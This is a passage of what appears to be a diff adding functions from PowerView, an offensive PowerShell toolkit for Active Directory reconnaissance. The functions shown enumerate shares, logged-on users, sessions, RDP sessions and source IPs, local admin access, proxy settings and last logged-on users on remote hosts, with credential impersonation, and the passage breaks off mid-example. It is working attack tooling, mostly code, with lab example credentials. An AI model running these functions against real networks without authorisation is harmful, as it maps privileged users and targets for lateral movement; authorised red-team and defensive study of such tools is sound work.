the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $Share = $Info | Select-Object * + $Share | Add-Member Noteproperty 'ComputerName' $Computer + $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Share + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetLoggedon { +<# +.SYNOPSIS + +Returns users logged on the local (or a remote) machine. +Note: administrative rights needed for newer Windows OSes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetWkstaUserEnum Win32API call to query +a given host for actively logged on users. + +.PARAMETER ComputerName + +Specifies the hostname to query for logged on users (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetLoggedon + +Returns users actively logged onto the local host. + +.EXAMPLE + +Get-NetLoggedon -ComputerName sqlserver + +Returns users actively logged onto the 'sqlserver' host. + +.EXAMPLE + +Get-DomainComputer | Get-NetLoggedon + +Returns all logged on users for all computers in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetLoggedon -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.LoggedOnUserInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.LoggedOnUserInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $LoggedOn + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetSession { +<# +.SYNOPSIS + +Returns session information for the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetSessionEnum Win32API call to query +a given host for active sessions. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetSession + +Returns active sessions on the local host. + +.EXAMPLE + +Get-NetSession -ComputerName sqlserver + +Returns active sessions on the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-NetSession + +Returns active sessions on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetSession -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.SessionInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the CName/UserName/Time/IdleTime for each session, with the ComputerName added. + +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.SessionInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 + + # return all the sections of the structure - have to do it this way for V2 + $Session = $Info | Select-Object * + $Session | Add-Member Noteproperty 'ComputerName' $Computer + $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Session + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } + + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-RegLoggedOn { +<# +.SYNOPSIS + +Returns who is logged onto the local (or a remote) machine +through enumeration of remote registry keys. + +Note: This function requires only domain user rights on the +machine you're enumerating, but remote registry must be enabled. + +Author: Matt Kelly (@BreakersAll) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID + +.DESCRIPTION + +This function will query the HKU registry values to retrieve the local +logged on users SID and then attempt and reverse it. +Adapted technique from Sysinternal's PSLoggedOn script. Benefit over +using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges +required (NetWkstaUserEnum requires remote admin access). + +.PARAMETER ComputerName + +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-RegLoggedOn + +Returns users actively logged onto the local host. + +.EXAMPLE + +Get-RegLoggedOn -ComputerName sqlserver + +Returns users actively logged onto the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-RegLoggedOn + +Returns users actively logged on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.RegLoggedOnUser + +A PSCustomObject including the UserDomain/UserName/UserSID of each +actively logged on user, with the ComputerName added. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.RegLoggedOnUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost' + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") + + # sort out bogus sid's like _class + $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { + $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple' + + if ($UserName) { + $UserName, $UserDomain = $UserName.Split('@') + } + else { + $UserName = $_ + $UserDomain = $Null + } + + $RegLoggedOnUser = New-Object PSObject + $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" + $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ + $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser') + $RegLoggedOnUser + } + } + catch { + Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetRDPSession { +<# +.SYNOPSIS + +Returns remote desktop/session information for the local (or a remote) machine. + +Note: only members of the Administrators or Account Operators local group +can successfully execute this functionality on a remote target. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation +Win32API calls to query a given RDP remote service for active sessions and originating +IPs. This is a replacement for qwinsta. + +.PARAMETER ComputerName + +Specifies the hostname to query for active sessions (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetRDPSession + +Returns active RDP/terminal sessions on the local host. + +.EXAMPLE + +Get-NetRDPSession -ComputerName "sqlserver" + +Returns active RDP/terminal sessions on the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-NetRDPSession + +Returns active RDP/terminal sessions on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetRDPSession -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.RDPSessionInfo + +A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, +with the ComputerName added. + +.LINK + +https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx +#> + + [OutputType('PowerView.RDPSessionInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($Computer) + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + # locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() + + if (($Result -ne 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + + $RDPSession = New-Object PSObject + + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer + } + + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } + + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State + + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 + + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" + } + else { + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + + $SourceIP = $Info2.Address + if ($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } + + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo') + $RDPSession + + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + + $Offset += $Increment + } + } + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + } + else { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + # close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Test-AdminAccess { +<# +.SYNOPSIS + +Tests if the current user has administrative access to the local (or a remote) machine. + +Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will use the OpenSCManagerW Win32API call to establish +a handle to the remote host. If this succeeds, the current user context +has local administrator acess to the target. + +.PARAMETER ComputerName + +Specifies the hostname to check for local admin access (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Test-AdminAccess -ComputerName sqlserver + +Returns results indicating whether the current user has admin access to the 'sqlserver' host. + +.EXAMPLE + +Get-DomainComputer | Test-AdminAccess + +Returns what machines in the domain the current user has access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Test-AdminAccess -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.AdminAccess + +A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether +the current user has local admin rights, along with the ComputerName added. + +.LINK + +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.AdminAccess')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + $IsAdmin = New-Object PSObject + $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + $Null = $Advapi32::CloseServiceHandle($Handle) + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True + } + else { + Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False + } + $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess') + $IsAdmin + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetComputerSiteName { +<# +.SYNOPSIS + +Returns the AD site where the local (or a remote) machine resides. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will use the DsGetSiteName Win32API call to look up the +name of the site where a specified computer resides. + +.PARAMETER ComputerName + +Specifies the hostname to check the site for (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local + +Returns the site for WINDOWS1.testlab.local. + +.EXAMPLE + +Get-DomainComputer | Get-NetComputerSiteName + +Returns the sites for every machine in AD. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.ComputerSite + +A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. +#> + + [OutputType('PowerView.ComputerSite')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # if we get an IP address, try to resolve the IP to a hostname + if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { + $IPAddress = $Computer + $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName + } + else { + $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress + } + + $PtrInfo = [IntPtr]::Zero + + $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) + + $ComputerSite = New-Object PSObject + $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer + $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + + if ($Result -eq 0) { + $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) + $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename + } + else { + Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + $ComputerSite | Add-Member Noteproperty 'SiteName' '' + } + $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + $ComputerSite + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-WMIRegProxy { +<# +.SYNOPSIS + +Enumerates the proxy server and WPAD conents for the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Enumerates the proxy server and WPAD specification for the current user +on the local machine (default), or a machine specified with -ComputerName. +It does this by enumerating settings from +HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. + +.PARAMETER ComputerName + +Specifies the system to enumerate proxy settings on. Defaults to the local host. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegProxy + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +WINDOWS1 http://primary.test... + +.EXAMPLE + +$Cred = Get-Credential "TESTLAB\administrator" +Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +windows1.testlab.local primary.testlab.local + +.INPUTS + +String + +Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). + +.OUTPUTS + +PowerView.ProxySettings + +Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. +#> + + [OutputType('PowerView.ProxySettings')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + $RegProvider = Get-WmiObject @WmiArguments + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' + + # HKEY_CURRENT_USER + $HKCU = 2147483649 + $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue + $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue + + $Wpad = '' + if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { + try { + $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) + } + catch { + Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL" + } + } + + if ($ProxyServer -or $AutoConfigUrl) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer + $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL + $Out | Add-Member Noteproperty 'Wpad' $Wpad + $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') + $Out + } + else { + Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName" + } + } + catch { + Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_" + } + } + } +} + + +function Get-WMIRegLastLoggedOn { +<# +.SYNOPSIS + +Returns the last user who logged onto the local (or a remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function uses remote registry to enumerate the LastLoggedOnUser registry key +for the local (or remote) machine. + +.PARAMETER ComputerName + +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegLastLoggedOn + +Returns the last user logged onto the local machine. + +.EXAMPLE + +Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 + +Returns the last user logged onto WINDOWS1 + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegLastLoggedOn + +Returns the last user logged onto all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.LastLoggedOnUser + +A PSCustomObject containing the ComputerName and last loggedon user. +#> + + [OutputType('PowerView.LastLoggedOnUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_LOCAL_MACHINE + $HKLM = 2147483650 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'SilentlyContinue' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + # try to open up the remote registry key to grab the last logged on user + try { + $Reg = Get-WmiObject @WmiArguments + + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' + $Value = 'LastLoggedOnUser' + $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + + $LastLoggedOn = New-Object PSObject + $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser + $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') + $LastLoggedOn + } + catch { + Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." + } + } + } +} + + +function Get-WMIRegCachedRDPConnection { +<# +.SYNOPSIS + +Returns information about RDP connections outgoing from the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +.DESCRIPTION + +Uses remote registry functionality to query all entries for the +"Windows Remote Desktop Connection Client" on a machine, separated by +user and target server. + +.PARAMETER ComputerName + +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegCachedRDPConnection + +Returns the RDP connection client information for the local machine. + +.EXAMPLE + +Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local + +Returns the RDP connection client information for the WINDOWS2.testlab.local machine + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegCachedRDPConnection + +Returns cached RDP information for all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object 